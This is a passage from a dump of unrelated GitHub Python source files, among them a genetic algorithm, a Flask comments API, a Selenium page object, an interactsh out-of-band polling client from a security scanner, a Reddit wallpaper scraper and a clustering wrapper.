)\n","repo_name":"ytg32/synth-gen","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28899475123","text":"from random import choices, randint, random\r\nfrom typing import List, Tuple\r\n\r\nGENOME_LENGTH = 7\r\n#Genetic Representation of a solution\r\nGenome = List[int] #Ex: [0000000,1010101], where 0000000 is 5.04 and 1111111 is 5.12\r\nPopulation = List[Genome]\r\n\r\n#Generate a random genome\r\ndef generateGenome() -> Genome:\r\n return choices([0,1],k=GENOME_LENGTH)\r\n\r\n#Generates a population of genomes\r\ndef generatPopulation(size:int) -> Population:\r\n return [generateGenome() for _ in range(size)]\r\n\r\n#Genome to decimal\r\ndef genomeToDecimal(genome:Genome) -> float:\r\n return (int(''.join(map(str,genome)),2) * 0.08) - 5.04\r\n \r\n\r\n#Fitness function, evaluates the genome based of the sphere function\r\ndef fitness(genome:Genome) -> float:\r\n return genomeToDecimal(genome)**2\r\n\r\n#Selects the best genome from a population\r\ndef selectBest(population:Population) -> Population:\r\n return choices(\r\n population= population,\r\n weights= [fitness(genome) for genome in population],\r\n k=2 #Selects 2 genomes\r\n )\r\n\r\n#Generates two new Genomes from two parents\r\ndef singlePointCrossOver(parent1:Genome, parent2:Genome) -> Tuple[Genome,Genome]:\r\n if(len(parent1) != len(parent2)):\r\n raise Exception(\"Parents must be of the same length\")\r\n #If parents are to short to create a new genome\r\n if(len(parent1) < 2):\r\n return parent1,parent2\r\n #Selects a random point to cross over\r\n crossOverPoint = randint(0,GENOME_LENGTH-1)\r\n #Crosses over the genomes\r\n return parent1[0:crossOverPoint] + parent2[crossOverPoint:], parent2[0:crossOverPoint] + parent1[crossOverPoint:]\r\n\r\n#Mutation Function\r\ndef mutation(genome:Genome) -> Genome:\r\n #Selects a random index to mutate\r\n mutationIndex = randint(0,GENOME_LENGTH-1)\r\n #Mutates the genome\r\n genome[mutationIndex] = genome[mutationIndex] if random() > 0.5 else abs(genome[mutationIndex]-1)\r\n return genome\r\n\r\n#Main Function\r\ndef runEvolution(generationLimit : int):\r\n population = generatPopulation(50)\r\n \r\n for i in range(generationLimit):\r\n population = sorted(population, key= lambda genome: fitness(genome ), reverse=True)\r\n #Gets the minimum fitness\r\n if(fitness(population[0]) == 0):\r\n print(f\"Generation {i} x = {genomeToDecimal(population[0])}, f(x) = {fitness(population[0])}\")\r\n break\r\n #Gets the maximum fitness\r\n if(fitness(population[0]) >= 5.12**2):\r\n print(f\"Generation {i} x = {genomeToDecimal(population[0])}, f(x) = {fitness(population[0])}\")\r\n break\r\n #Selects the best genomes\r\n nextGeneration = population[0:2]\r\n #Creates the next generation\r\n for j in range(int(len(population) / 2) -1):\r\n parents = selectBest(population)\r\n son1, son2 = singlePointCrossOver(parents[0],parents[1])\r\n \r\n #Apply Mutation to the sons\r\n son1 = mutation(son1)\r\n son2 = mutation(son2)\r\n \r\n nextGeneration += [son1,son2]\r\n #Replaces the old genomes with the new ones\r\n population = nextGeneration\r\n \r\n population = sorted(population, key= lambda genome: fitness(genome), reverse=True)\r\n return population[0]\r\n \r\ngenerations = int(input(\"Ingrese el numero máximo de Generación: \"))\r\nbestSolution = runEvolution(generations)\r\n# print(f\"Best Solution: {genomeToDecimal(bestSolution)} eval: {fitness(bestSolution)}\")","repo_name":"IvanBM18/GeneticAlgorithm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"601234178","text":"import pandas as pd\nimport pubchempy as pcp\n\ndef get_cid (dataframe, source_column, new_column):\n \n \"\"\"This function will retrieve the pubchem cid's for chemicals in a dataframe. The dataframe, source column\n for which to retrieve cid's and name of a new column to append to the dataframe\"\"\"\n \n cid_results = [] #temporary empty list that will contain the cid's retrieved by pubchem \n final_cid = [] #empty list that will contain the final cid's\n \n for i, row in dataframe.iterrows():\n \n names = row[source_column]\n \n #pubchempy command for retrieving cid's and appending to temporary list\n #note you need to input how you wish to search for the cid, here we are searching by chemcial 'name'\n cid_results.append(pcp.get_cids(names, 'name', list_return='flat')) \n\n for j in cid_results:\n \n if len(j) == 0: #case in which no cid was found by pubchempy\n final_cid.append(\"no cid found\") \n\n\n if len(j) >= 1: #append only the first cid\n final_cid.append(j[0])\n \n dataframe[new_column] = final_cid\n \n return dataframe\n","repo_name":"jrodguez/des-basis-set","sub_path":"scripts/pubchem/get_cid.py","file_name":"get_cid.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"4068560790","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nfrom SubtractDominantMotion import SubtractDominantMotion\n\n# write your script here, we recommend the above libraries for making your animation\n\nfig1 = plt.figure()\nax1 = fig1.add_subplot(111)\nplt.ion()\n\ndef disp_patch_image(frame, i):\n ax1.clear()\n ax1.imshow(frame)\n title = 'Frame: ' + str(i)\n ax1.set_title(title)\n plt.pause(0.000001)\n\nif __name__ == '__main__':\n\n video_frames = np.load('../data/aerialseq.npy')\n print(video_frames.shape)\n\n output_frames = []\n\n for i in range(0, video_frames.shape[2]-1):\n print('------------------------------------- ', i+1, ' -------------------------------------------')\n image1 = video_frames[:,:,i]\n image2 = video_frames[:,:,i+1]\n\n mask = SubtractDominantMotion(image1, image2)\n\n alpha = np.ones(image2.shape)\n frame = np.dstack( (image2, image2, image2, alpha))\n\n frame[mask] += [0.3,0.7,0, 0.02]\n output_frames.append(frame)\n disp_patch_image(frame, i)\n\n output_frames = np.asarray(output_frames)\n\n frame_list = [30, 60, 90, 120]\n f, axarr = plt.subplots(1, len(frame_list))\n\n for i in range(len(frame_list)):\n axarr[i].imshow(output_frames[frame_list[i]] , cmap=\"gray\")\n axarr[i].axis('off')\n plt.subplots_adjust(wspace=0.025, hspace=0)\n\n plt.savefig('../lbahl/3_3.png', bbox_inches='tight', dpi = 1000)","repo_name":"laavanyebahl/Lucas-Kanade-Object-Tracking-and-Correlation-Filters","sub_path":"code/testAerialSequence.py","file_name":"testAerialSequence.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72983005799","text":"\"\"\"\nCoders/Decoders modules\n\"\"\"\n\nfrom typing import Union\nimport torch\nimport torch.nn as nn\nfrom hrn.routing.common import Direction, genSubUnitBaseName, genActivation\n\n\nclass Codec(nn.Module):\n def __init__(\n self,\n code: Union[int, str],\n direction: Direction,\n outputShape: tuple,\n architecture: dict,\n ):\n super().__init__()\n self.name = \"codec_\" + genSubUnitBaseName(code, direction)\n self.code = code\n self.direction = direction\n self.outputShape = outputShape\n self.architecture = architecture\n\n if isinstance(self.architecture, dict):\n paramsList = [self.architecture] # for legacy conf file support\n else:\n assert isinstance(self.architecture, list)\n\n paramsList = self.architecture\n self.nLayers = len(paramsList)\n\n for idx, layerParams in enumerate(paramsList):\n kernelSize = layerParams[\"conv\"][\"kernel_size\"]\n if isinstance(kernelSize, list):\n self.dim = len(kernelSize)\n else:\n self.dim = 1\n conv = getattr(nn, f\"Conv{self.dim}d\")\n tconv = getattr(nn, f\"ConvTranspose{self.dim}d\")\n bn = getattr(nn, f\"BatchNorm{self.dim}d\")\n apool = getattr(nn, f\"AvgPool{self.dim}d\")\n mpool = getattr(nn, f\"MaxPool{self.dim}d\")\n if self.dim > 1:\n drpt = getattr(nn, f\"Dropout{self.dim}d\")\n else:\n drpt = nn.Dropout\n if self.direction == Direction.Forward:\n self.__setattr__(f\"conv_{idx}\", conv(**layerParams[\"conv\"]))\n else:\n self.__setattr__(f\"tconv_{idx}\", tconv(**layerParams[\"conv\"]))\n if \"bn\" in layerParams.keys():\n self.__setattr__(\n f\"coderBN_{idx}\", bn(layerParams[\"conv\"][\"out_channels\"])\n )\n else:\n self.__setattr__(f\"coderBN_{idx}\", nn.Identity())\n if \"apool\" in layerParams.keys():\n self.__setattr__(f\"apool_{idx}\", apool(**layerParams[\"apool\"]))\n else:\n self.__setattr__(f\"apool_{idx}\", nn.Identity())\n if \"mpool\" in layerParams.keys():\n self.__setattr__(f\"mpool_{idx}\", mpool(**layerParams[\"mpool\"]))\n else:\n self.__setattr__(f\"mpool_{idx}\", nn.Identity())\n actType = layerParams[\"act\"][\"type\"]\n actParams = layerParams[\"act\"][\"params\"]\n self.__setattr__(f\"coderAct_{idx}\", genActivation(actType, actParams))\n if \"drpt\" in layerParams.keys():\n p = layerParams[\"drpt\"]\n self.__setattr__(f\"drpt_{idx}\", drpt(p=p))\n else:\n self.__setattr__(f\"drpt_{idx}\", nn.Identity())\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n dataShape = x.shape\n if self.dim < len(dataShape) - 2: # remove batch dim and one dimension\n # data dimensionality needs to be reduced\n y = x.reshape(list(dataShape[:2]) + [-1])\n else:\n y = x\n\n for idx in range(self.nLayers):\n if self.direction == Direction.Forward:\n y = self.__getattr__(f\"conv_{idx}\")(y)\n else:\n y = self.__getattr__(f\"tconv_{idx}\")(y)\n y = self.__getattr__(f\"apool_{idx}\")(y)\n y = self.__getattr__(f\"mpool_{idx}\")(y)\n y = self.__getattr__(f\"coderBN_{idx}\")(y)\n y = self.__getattr__(f\"coderAct_{idx}\")(y)\n y = self.__getattr__(f\"drpt_{idx}\")(y)\n return y\n","repo_name":"ma3oun/hrn","sub_path":"hrn/routing/codecs.py","file_name":"codecs.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"18"} +{"seq_id":"37926068339","text":"from flask import Blueprint, jsonify, request\nfrom flask.views import MethodView\nfrom flask_jwt_extended import jwt_required, current_user\nfrom marshmallow import ValidationError\nfrom sqlalchemy.exc import IntegrityError\n\nfrom app import db # Importa la instancia de la base de datos\nfrom app.schemas import comment_schema # Importa el esquema de comentario\nfrom app.models import Comment # Importa el modelo de comentario\n\nbp = Blueprint('comments', __name__) # Crea un Blueprint llamado 'comments'\n\nclass CommentAPI(MethodView):\n\n def get(self, comment_id):\n # Devuelve un comentario individual\n comment = Comment.query.get(comment_id)\n if not comment:\n return jsonify(error=f'Comment {comment_id} not found.'), 404\n return comment_schema.dump(comment), 200\n\n @jwt_required()\n def post(self):\n # Crea un nuevo comentario para una publicación específica\n comment_data = request.json\n if not comment_data:\n return jsonify(error=f'Not input data provided.'), 404\n\n try:\n new_comment = comment_schema.load(comment_data) # Carga los datos del comentario utilizando el esquema\n new_comment.user_id = current_user.id # Asigna el ID del usuario actual como propietario del comentario\n db.session.add(new_comment) # Agrega el comentario a la sesión de la base de datos\n db.session.commit() # Guarda el comentario en la base de datos\n return comment_schema.dump(new_comment), 201 # Devuelve el comentario creado en la respuesta (201 Created)\n except ValidationError as err:\n return jsonify(err.messages), 400\n except IntegrityError:\n db.session.rollback() # Rollback en caso de error\n return jsonify(error=f'Error creating comment'), 400\n\n @jwt_required()\n def delete(self, comment_id):\n # Elimina un comentario individual\n comment = Comment.query.get(comment_id)\n if not comment:\n return jsonify(error=f'Comment {comment_id} not found.'), 404\n\n # Verifica si el usuario actual es el propietario del comentario\n if comment.user_id != current_user.id:\n return jsonify(error='Forbidden'), 403\n\n db.session.delete(comment) # Elimina el comentario de la sesión de la base de datos\n db.session.commit() # Confirma la eliminación en la base de datos\n\n return jsonify(message='Comment delete sucesfully.'), 200 # Devuelve un mensaje de éxito\n\n @jwt_required()\n def put(self, comment_id):\n # Actualiza un comentario individual\n comment_data = request.json\n if not comment_data:\n return jsonify(error='No input data provided.'), 400\n\n comment = Comment.query.get(comment_id)\n if not comment:\n return jsonify(error=f'Comment {comment_id} not found.'), 404\n\n # Verifica si el usuario actual es el propietario del comentario\n if comment.user_id != current_user.id:\n return jsonify(error='Forbidden'), 403\n\n try:\n updated_comment = comment_schema.load(comment_data, instance=comment, partial=True) # Carga los datos actualizados del comentario\n db.session.commit() # Guarda los cambios en la base de datos\n return comment_schema.dump(updated_comment), 200 # Devuelve el comentario actualizado en la respuesta\n except ValidationError as err:\n return jsonify(err.messages), 400\n\ncomment_view = CommentAPI.as_view('comment_api')\nbp.add_url_rule('/', view_func=comment_view, methods=['POST',]) # Agrega una regla de ruta para la creación de comentarios\nbp.add_url_rule('/', view_func=comment_view, methods=['GET', 'PUT', 'DELETE']) # Agrega una regla de ruta para consultar, actualizar y eliminar comentarios por su ID\n","repo_name":"emadiaz15/miniblog_api","sub_path":"app/views/comments.py","file_name":"comments.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12127755054","text":"import o9k.database.db as db\nimport o9k.o9k_utils.utils as utils\n\nNF = \"https://www.openpowerlifting.org/u/nicholasfiorito\"\nWS = \"https://www.openpowerlifting.org/u/walisiddiqui\"\n\nusage_msg = \"Usage:\\n \\\n C | CREATE [openpowerlifting link, ...]\\n \\\n R | READ [openpowerlifting link, ...]\\n \\\n U | UPDATE [openpowerlifting link]\\n \\\n D | DELETE [openpowerlifting link, ...]\\n \\\n E | EXIT\\n\\n\"\n\ncreate = [\"C\", \"CREATE\"]\nread = [\"R\", \"READ\"]\nupdate = [\"U\", \"UPDATE\"]\ndelete = [\"D\", \"DELETE\"]\nex = [\"E\"]\n\n\ndef float_cast(value):\n return str(value)\n\n\ndef error_msg(msg):\n print(msg)\n print(usage_msg)\n\n\ndef init_o9k():\n print(f'Welcome to Over9000\\n\\n')\n print(\"Initialzing database...\")\n main_db = db.Database()\n print(usage_msg)\n\n return main_db\n\n\ndef main():\n main_db = init_o9k()\n\n while True:\n op = input(\"give an operation:\\n\").split()\n\n if op[0] in create:\n if len(op) > 2:\n link = op[1:]\n elif len(op) == 2:\n link = list(op[1])\n else:\n error_msg(\"Provide at least one openpowerlifting link to CREATE / C\")\n continue\n res = main_db.create_entry(link)\n print(res)\n if op[0] in read:\n pass\n if op[0] in update:\n pass\n if op[0] in delete:\n pass\n if op[0] in ex:\n break\n else:\n error_msg(\"unsupported operation\")\n continue\n print(\"Exiting Over9000\")\n main_db.conn.close()\n\n\ndef single_main():\n main_db = init_o9k()\n\n while True:\n op = input(\"give an operation:\\n\").split()\n\n if op[0] in create:\n if len(op) > 2:\n link = op[1:]\n elif len(op) == 2:\n link = list(op[1])\n else:\n error_msg(\"Provide at least one openpowerlifting link to CREATE / C\")\n continue\n res = main_db.create_entry(link)\n print(res)\n break\n if op[0] in read:\n break\n if op[0] in update:\n break\n if op[0] in delete:\n break\n if op[0] in ex:\n exit(1000)\n else:\n error_msg(\"unsupported operation\")\n break\n\n print(\"Exiting Over9000\")\n main_db.conn.close()\n exit(int(111))\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n main()\n","repo_name":"fueg0/over9000","sub_path":"o9k/cli/py_console.py","file_name":"py_console.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14382098724","text":"import logging\n\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nlogger = logging.getLogger(\"test\")\n\n\nclass BasePage:\n\n def __init__(self, browser):\n self.browser = browser\n\n def _find_element(self, locator: tuple, wait_time=15):\n element = WebDriverWait(self.browser, wait_time).until(\n EC.presence_of_element_located(locator),\n message=f\"Can't find element by locator {locator[1]}\",\n )\n return element\n\n def _find_clickable_element(self, locator: tuple, wait_time=15):\n element = WebDriverWait(self.browser, wait_time).until(\n EC.element_to_be_clickable(locator),\n message=f\"Can't find element by locator {locator[1]}\",\n )\n return element\n\n def _send_keys(self, element, text=None):\n element.clear()\n if text:\n element.send_keys(text)\n logger.info(f\"===> send text {text}\")\n return element\n\n def get_text(self, element):\n text = element.text\n logger.info(f\"===> get text {text}\")\n return text\n\n def get_url(self, uri=None):\n logger.info(f\"===> open {self.browser.base_url + uri} page\")\n self.browser.get(self.browser.base_url + uri)\n\n def list_elements(self, locator):\n return self.browser.find_elements(*locator)\n\n def is_element_visible(self, locator: tuple, wait_time=15):\n element_visible = WebDriverWait(self.browser, wait_time).until(\n EC.invisibility_of_element_located(locator),\n message=f\"Can't find element by locator {locator[1]}\",\n )\n return element_visible\n","repo_name":"Nyusha52/opencart_tests","sub_path":"pages/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22040679442","text":"# 백준 11725번 문제 트리의 부모 찾기 \n\nimport sys\ninput = sys.stdin.readline\n# dfs 시간 초과 방지 \nsys.setrecursionlimit(10**9)\n\nN = int(input()) # 노드의 개수 \nparents = [0 for _ in range(N + 1)] \ntree = [[] for _ in range(N + 1)]\n\n\nfor i in range(N-1):\n a , b = map(int, input().split())\n tree[a].append(b)\n tree[b].append(a)\n\ndef DFS(start, tree, parent):\n # 연결된 노드들부터 parents[i]의 부모가 없을 때 부모를 설정 해주고 DFS를 돌린다.\n for i in tree[start]: # 입력된 배열에서 값을 하나씩 뽑는다.\n if parent[i] == 0:\n parent[i] = start\n DFS(i, tree, parent)\n \nDFS(1, tree, parents)\n\nfor i in range(2, N + 1):\n print(parents[i])\n\n","repo_name":"glory0224/Algorithm","sub_path":"Baekjoon/Graph/Tree/tree's_parent.py","file_name":"tree's_parent.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24478984131","text":"# based on https://github.com/ElSicarius/interactsh-python/blob/main/sources/interactsh.py\nimport json\nimport base64\nimport random\nimport logging\nfrom time import sleep\nfrom uuid import uuid4\nfrom threading import Thread\nfrom Crypto.Hash import SHA256\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import AES, PKCS1_OAEP\n\nfrom bbot.core.errors import InteractshError\n\nlog = logging.getLogger(\"bbot.core.helpers.interactsh\")\n\nserver_list = [\"oast.pro\", \"oast.live\", \"oast.site\", \"oast.online\", \"oast.fun\", \"oast.me\"]\n\n\nclass Interactsh:\n def __init__(self, parent_helper):\n self.parent_helper = parent_helper\n self.server = self.parent_helper.config.get(\"interactsh_server\", None)\n self.token = self.parent_helper.config.get(\"interactsh_token\", None)\n self._thread = None\n\n def register(self, callback=None):\n if self.server == None:\n self.server = random.choice(server_list)\n\n rsa = RSA.generate(1024)\n\n self.public_key = rsa.publickey().exportKey()\n self.private_key = rsa.exportKey()\n\n encoded_public_key = base64.b64encode(self.public_key).decode(\"utf8\")\n\n uuid = uuid4().hex.ljust(33, \"a\")\n guid = \"\".join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in uuid)\n\n self.domain = f\"{guid}.{self.server}\"\n\n self.correlation_id = guid[:20]\n self.secret = str(uuid4())\n headers = {}\n\n if self.token:\n headers[\"Authorization\"] = self.token\n\n data = {\"public-key\": encoded_public_key, \"secret-key\": self.secret, \"correlation-id\": self.correlation_id}\n r = self.parent_helper.request(\n f\"https://{self.server}/register\", headers=headers, json=data, method=\"POST\", retries=\"infinite\"\n )\n msg = r.json().get(\"message\", \"\")\n if msg != \"registration successful\":\n raise InteractshError(f\"Failed to register with interactsh server {self.server}\")\n\n log.info(\n f\"Successfully registered to interactsh server {self.server} with correlation_id {self.correlation_id} [{self.domain}]\"\n )\n\n if callable(callback):\n self._thread = Thread(target=self.poll_loop, args=(callback,), daemon=True)\n self._thread.start()\n\n return self.domain\n\n def deregister(self):\n\n headers = {}\n if self.token:\n headers[\"Authorization\"] = self.token\n\n data = {\"secret-key\": self.secret, \"correlation-id\": self.correlation_id}\n\n r = self.parent_helper.request(f\"https://{self.server}/deregister\", headers=headers, json=data, method=\"POST\")\n if \"success\" not in r.text:\n raise InteractshError(f\"Failed to de-register with interactsh server {self.server}\")\n\n def poll(self):\n\n headers = {}\n if self.token:\n headers[\"Authorization\"] = self.token\n\n r = self.parent_helper.request(\n f\"https://{self.server}/poll?id={self.correlation_id}&secret={self.secret}\", headers=headers\n )\n\n data_list = r.json().get(\"data\", None)\n if data_list:\n aes_key = r.json()[\"aes_key\"]\n\n for data in data_list:\n\n decrypted_data = self.decrypt(aes_key, data)\n yield decrypted_data\n\n def poll_loop(self, callback):\n return self.parent_helper.scan.manager.catch(self._poll_loop, callback, _force=True)\n\n def _poll_loop(self, callback):\n while 1:\n if self.parent_helper.scan.stopping:\n sleep(1)\n continue\n data_list = list(self.poll())\n if not data_list:\n sleep(10)\n continue\n for data in data_list:\n if data:\n callback(data)\n\n def decrypt(self, aes_key, data):\n private_key = RSA.importKey(self.private_key)\n cipher = PKCS1_OAEP.new(private_key, hashAlgo=SHA256)\n aes_plain_key = cipher.decrypt(base64.b64decode(aes_key))\n decode = base64.b64decode(data)\n bs = AES.block_size\n iv = decode[:bs]\n cryptor = AES.new(key=aes_plain_key, mode=AES.MODE_CFB, IV=iv, segment_size=128)\n plain_text = cryptor.decrypt(decode)\n return json.loads(plain_text[16:])\n","repo_name":"melroy89/venom","sub_path":"osint/bbot/bbot/core/helpers/interactsh.py","file_name":"interactsh.py","file_ext":"py","file_size_in_byte":4268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29874215082","text":"def fast_typing():\n A, B = input().split()\n a = len(A)\n b = len(B)\n\n if a == 1 or b == 1:\n return a\n\n cnt = 0\n x = 0\n while x <= a - b:\n i = x\n for j in range(b):\n if A[i+j] != B[j]:\n x += 1\n break\n else:\n cnt += (b - 1)\n x += b\n\n ret = a - cnt\n return ret\n\nT = int(input())\nfor tc in range(T):\n print('#{} {}'.format(tc+1, fast_typing()))\n\n\n#import sys\n#sys.stdin = open('input.txt', 'r')\n\n# def is_same(start_idx, n):\n# if start_idx + n - 1 >= len(A) : return 0\n# for i in range(n) :\n# if A[start_idx +i] != B[i]:\n# return 0\n# return 1\n#\n# T = int(input())\n# for tc in range(1, T + 1) :\n# A ,B = input().rstrip().split()\n# i = 0 # 비교시작인덱스\n# n = len(A)\n# cnt = 0 # 타이핑 횟수\n# while i < n:\n# ret = is_same(i,len(B)) # 같으면 단축키 사용\n# if ret == 1: # 단축키 사용가능\n# i += len(B)\n# cnt += 1\n# else :\n# i += 1\n# cnt += 1\n# print(\"#{} {}\".format(tc, cnt))","repo_name":"essk13/Algorithm","sub_path":"02_notion/0817/fast_typing.py","file_name":"fast_typing.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72895628201","text":"from company.models import Phone\n\n# functions for common purpose usage\n\n\ndef available_number(input_company):\n \"\"\"returns if any number is available from a particular company\"\"\"\n\n number = Phone.objects.filter(\n company__name=input_company, assigned_customer=None)\n if len(number) > 0:\n return number[0]\n else:\n return None\n","repo_name":"didar1272/healthOS","sub_path":"customer/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29317366249","text":"import re\n\nimport enchant\n\neng_dict = enchant.Dict(\"en_US\")\n\n\ndef check_text(text: str) -> int:\n errors: int = 0\n for word in text.split():\n if not eng_dict.check(word):\n errors += 1\n print(word)\n return errors\n\n\ndef strip_text(text: str) -> str:\n text: str = text.lower().strip()\n text: str = re.sub(r'[.,/#!$%^&*;:{}=\\-_`~()@<>\\[\\]\"?\\\\\\n]', '', text)\n text: str = re.sub(r'(\\s)\\s+', r'\\1', text)\n return text\n\n\nwith open('huge_text.txt', 'r') as file:\n text: str = check_text(strip_text(''.join(file.readlines())))\n print(text)\n","repo_name":"LuckySting/OnePermutationCrypt","sub_path":"check_text.py","file_name":"check_text.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13892244418","text":"import bs4 as bs\r\nfrom urllib import request\r\nimport urllib3\r\nimport os.path\r\nimport time\r\n\r\nstart_time = time.time()\r\n\r\n#to go to the next page add '?count=25&after=t3_d2zix0' and continue the same process for each page\r\n\r\ncount=3 #to limit the number of donwloads\r\nflag=0\r\nimage_links=[] #stroing the image links\r\nhttp = urllib3.PoolManager() #http connection pool\r\nreq = http.request('GET','https://old.reddit.com/r/wallpapers/',headers = { 'User-Agent' : 'Mozilla/5.0' }) #setting the header to make the site think the request came from the browser\r\n\r\nsauce=req.data.decode('utf-8') # decoding the response in utf=8 format\r\nreq.release_conn() #request close\r\nsoup=bs.BeautifulSoup(sauce,'lxml') #parsing the response\r\ndivs=soup.find_all('div',class_='content')\r\nimages=[]\r\nfor div in divs:\r\n urls=div.find_all('a')\r\n for url in urls:\r\n href=url.get('href')\r\n if \"/comments/\" in href and \"https://\" in href :\r\n image_links.append(href)\r\n flag =flag+1\r\n if flag == count:\r\n break\r\n\r\n\r\n#\r\n# link = image_links[0]\r\n# img_req=http.request('GET',link,headers = { 'User-Agent' : 'Mozilla/5.0' })\r\n# data=img_req.data.decode('utf-8')\r\n# img_req.close()\r\n# img_soup=bs.BeautifulSoup(data,'lxml')\r\n# l=img_soup.body.find_all('a',class_='title may-blank outbound')\r\n# l=l[0].get('data-href-url')\r\n# images.append(l)\r\n# print(l)\r\n#\r\n\r\n\r\n\r\nfor link in image_links:\r\n flag = +1\r\n if flag == count:\r\n break\r\n img_req=http.request('GET',link,headers = { 'User-Agent' : 'Mozilla/5.0' })\r\n data=img_req.data.decode('utf-8')\r\n img_req.close()\r\n img_soup=bs.BeautifulSoup(data,'lxml')\r\n l=img_soup.body.find_all('a',class_='title may-blank outbound')\r\n l=l[0].get('data-href-url')\r\n print(\"adding: \" + l)\r\n images.append(l)\r\n\r\nprint(\"Retrived \"+ str(len(images)) + \" images...\")\r\nprint(\"Donwloading Images........\")\r\n\r\nfor i in range(0,len(images)):\r\n p = images[i].split('/')\r\n fname=p[len(p)-1]\r\n if os.path.exists(fname):\r\n print(\"Skipping \"+images[i]+' as '+fname+\" already exists\")\r\n else:\r\n print(\"Downloading \"+images[i]+' .......')\r\n f = open(fname, 'wb') #Writing the response in the file as saving the file\r\n f.write(request.urlopen(images[i]).read())\r\n f.close()\r\n\r\nprint('Download Complete!!')\r\n\r\nprint(\"--- %s seconds ---\" % (time.time() - start_time))","repo_name":"Karthik8396/lrn_WebScrapping_BS4","sub_path":"My_scrapping.py","file_name":"My_scrapping.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"866172202","text":"\nfrom os.path import join\nimport os\nimport sys\nsys.path.append('../')\n\nfrom clustering.pairwise import run_clustering_pairs\n# from clustering.comm_detection import run_clustering_Modularity\nfrom utils.helper_fncs import pickle_load_nodes_clusters, pickle_save_nodes_clusters\n\n\n\ndef gen_postdisc_name(params):\n \"\"\"Generate name for clustering experiment (required for bookkeeping)\n\n Args:\n params (dict): Experiment parameters\n\n Returns:\n str: Generated name for post-discovery step\n \"\"\" \n\n if params['method'] == 'modularity':\n postdisc_name = 'post_cost{}_peak{}_q{}_{}Alg_mc{}'.format(\n params['cost_thr'], params['peak_thr'], params['modularity_thr'],\n params['clus_alg'], params['min_cluster_size'])\n\n # if params['method'] == 'zr17':\n # postdisc_name = 'postZR_cost{}_olap{}_dedup{}_edw{}_dtw{}'.format(\n # params['cost_thr'], params['olapthr'], \n # params['dedupthr'], params['min_ew'], params['dtwth'])\n\n # if params['method'] == 'custom':\n # postdisc_name = 'post_customclus_cost{}_{}Alg_dedup{}_mix{}'.format(\n # params['cost_thr'], params['clus_alg'], \n # params['dedupthr'], params['mix_ratio'])\n\n if params['method'] == 'pairwise':\n postdisc_name = 'postpairwise_cost{}_olap{}'.format(\n params['cost_thr'], params['olapthr_m'] )\n\n return postdisc_name\n\n\n\ndef run_clustering(seq_names, matches_df, params):\n \"\"\"Runs the clustering part, selects between differnet methods.\n\n Also handles loading/saving of cluster info\n\n Args:\n seq_names (list of str): Filenames to process, \n (you may leave empty if not using community detection algorithm).\n matches_df (pandas.DataFrame): Pairs of discovered segments, result of discovery step\n params (dict): Experiment parameters\n\n Returns:\n tuple containing:\n\n - nodes_df (pandas.DataFrame): Contains info of all segments\n - clusters_list (list of lists of int): Each sublist contains the indices of nodes for that cluster\n - postdisc_name (str): Name for post-discovery step, required for access to saved objects\n\n \"\"\" \n \n postdisc_name = gen_postdisc_name(params['clustering'])\n \n postdisc_path = join(params['exp_root'], params['expname'], postdisc_name)\n\n if (os.path.exists(join(postdisc_path,'nodes.pkl')) and \n os.path.exists(join(postdisc_path,'clusters.pkl'))):\n \n nodes_df, clusters_list = pickle_load_nodes_clusters(postdisc_path)\n\n else: # if not computed before\n\n # if params['clustering']['method'] == 'modularity':\n\n # os.makedirs(postdisc_path, exist_ok=True)\n # nodes_df, clusters_list = run_clustering_Modularity(\n # seq_names, matches_df, params['clustering'])\n\n # if params['clustering']['method'] == 'zr17':\n\n # nodes_df, clusters_list = run_clustering_ZR(\n # matches_df, params, postdisc_path, postdisc_name)\n\n # if params['clustering']['method'] == 'custom':\n\n # os.makedirs(postdisc_path, exist_ok=True)\n # nodes_df, clusters_list = run_custom_clustering(\n # matches_df, params['clustering'])\n\n if params['clustering']['method'] == 'pairwise':\n\n os.makedirs(postdisc_path, exist_ok=True)\n nodes_df, clusters_list = run_clustering_pairs(\n matches_df, params['clustering'])\n\n\n pickle_save_nodes_clusters(nodes_df, clusters_list, postdisc_path) \n \n return nodes_df, clusters_list, 